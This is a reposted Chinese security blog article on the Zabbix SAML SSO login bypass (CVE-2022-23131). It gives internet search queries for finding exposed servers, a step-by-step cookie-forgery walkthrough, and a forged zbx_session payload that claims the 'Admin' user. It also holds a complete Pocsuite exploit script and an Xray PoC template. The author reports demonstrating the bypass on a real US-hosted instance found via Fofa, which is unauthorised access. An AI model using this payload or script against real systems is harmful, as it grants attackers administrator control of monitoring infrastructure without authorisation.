Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

admin 2022年11月9日12:24:40评论81 views字数 4491阅读14分58秒阅读模式

产品简介

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。

漏洞原因

在启用 SAML SSO 身份验证(非默认)的情况下,未经身份验证的攻击者可以通过修改Cookie数据,绕过身份认证获得对 Zabbix 前端的管理员访问权限。

影响范围

  • 4.0.36

  • 5.4.0

  • 5.4.8

  • 6.0.0alpha1

搜索语法

Fofa

app="ZABBIX-监控系统" && body="SAML"

Zoomeye

title:"ZABBIX"

Shodan

title="ZABBIX"

漏洞检测

可使用https://github.com/trganda/dockerenv/tree/master/vuln/zabbix/CVE-2022-23131搭建漏洞环境,检测该漏洞的主要步骤为:

获取Set-Cookie数据zbx_session参数的值

通过Url解码和Base64解码获得zbx_session参数Json格式数据

通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload

在请HTTP求头中添加构造的Payload,然后请求index_sso.php

若HTTP响应头中包含Location头,说明存在漏洞

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

漏洞复现

本次复现使用Fofa搜索到的美国资产进行复现。首先获取Set-Cookie,如图:

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

然后解码数据,如图:

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

{"sessionid":"4e733c1344948aba99594418d500ea6f","sign":"njRfEFFQEnQl4F6oQDXxfVF6UYcroMsEPKCB6UzewMCnGQpzpZseaBgGxEzNJOtbMRtwQNKJCqAXccrwc6rxpw=="}
接着构造Payload,如下:
{"saml_data":{"username_attribute":"Admin"},"sessionid":"4e733c1344948aba99594418d500ea6f","sign":"njRfEFFQEnQl4F6oQDXxfVF6UYcroMsEPKCB6UzewMCnGQpzpZseaBgGxEzNJOtbMRtwQNKJCqAXccrwc6rxpw=="}
通过Base64编码和URL编码后带入请求index_sso.php,如图:

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

成功进入管理页面,如图:

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

Exp

Pocsuite

import re
from collections import OrderedDict
from pocsuite3.lib.utils import random_str
from pocsuite3.api
import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, get_listener_ip, get_listener_port
from pocsuite3.lib.core.interpreter_option
import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
from pocsuite3.modules.listener import REVERSE_PAYLOAD
import base64
import json
from urllib.parse import unquote,quote

requests.packages.urllib3.disable_warnings()
class DemoPOC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'Infiltrator' # PoC作者的大名
vulDate = '2022-2-25' # 漏洞公开的时间,不知道就写今天
createDate = '2021-8-20' # 编写 PoC 的日期
updateDate = '2021-9-12' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)' # PoC 名称
appPowerLink = '' # 漏洞厂商主页地址
appName = '-' # 漏洞应用名称
appVersion = '-' # 漏洞影响版本
vulType = VUL_TYPE.COMMAND_EXECUTION # 漏洞类型,类型参考见 漏洞类型规范表
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
desc = '''
在启用 SAML SSO 身份验证(非默认)的情况下,未经身份验证的攻击者可以通过修改Cookie数据,绕过身份认证获得对 Zabbix 前端的管理员访问权限。
''' # 漏洞简要描述
pocDesc = '''
poc的用法描述
''' # POC用法描述

def _options(self):
opt = OrderedDict() # value = self.get_option('key')
return opt

def _verify(self):
output = Output(self)
# 验证代码
s=requests.Session()
try:
html=s.get(self.url,verify=False)
except:
output.fail('Could not get Cookie!')
return output
try:
set_cookie=base64.b64decode(unquote(html.cookies['zbx_session'])).decode('utf8')
except KeyError:
output.fail('Could not find zbx_session in Cookies')
return output

set_cookie=json.loads(set_cookie)
new_cookie=base64.b64encode(json.dumps({"saml_data":{"username_attribute":"Admin"},'sessionid':set_cookie['sessionid'],'sign':set_cookie['sign']}).encode('utf8')).decode('utf8')
head={'Cookie':'zbx_session='+new_cookie}
res=s.get(self.url+'/index_sso.php',headers=head,verify=False)

if 'User settings' and 'Zabbix SIA' in res.text:
result={}
result["Cookie"]='zbx_session='+new_cookie
output.success(result)
return output

def _attack(self):
_verify()

# 注册 DemoPOC 类
register_poc(DemoPOC)

效果

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

Xray

name: poc-yaml-Zabbix-SAML-SSO-login-bypass-CVE-2022-23131
# 脚本部分
transport: http
rules:
r1:
request:
method: GET
path: "/"
follow_redirects: false
expression: |
response.headers['Set-Cookie'].contains("zbx_session=")
output:
search: r'zbx_session=(?P<zbx_session>.+(?=;))'.submatch(response.headers["Set-Cookie"])
zbx_session: base64Decode(urldecode(search["zbx_session"]))
# 获取{"sessionid":"xxx","sign":"xxx"}
search2: r'(?P<sessionid>sessionid.+)'.submatch(zbx_session)
sessionid: search2["sessionid"]
r2:
request:
method: GET
path: "/index_sso.php"
headers:
# 构造Payload
Cookie: zbx_session=urlencode(base64({"saml_data":{"username_attribute":"Admin"},"sessionid":{{sessionid}},"sign":{{sign}}}))
follow_redirects: false
expression: #response.raw_header.contains("Location")
response.status==302 && response.headers['location'].contains("https://accounts.google.com/o/saml2/idp?idpid=") && response.headers['location'].contains("index_sso.php")
expression:
r1() && r2()
# 信息部分
detail:
author: Infiltrator(https://github.com/NHPT)
links:
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202201-1030
match: "Location: https://accounts.google.com/o/saml2/idp?idpid=xxx"
cve: "CVE-2022-23131"
repair: http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=178203

效果

Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)


原文始发于微信公众号(Hack All):Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日12:24:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Zabbix SAML SSO 登录绕过漏洞(CVE-2022-23131)http://cn-sec.com/archives/1393660.html

发表评论

匿名网友 填写信息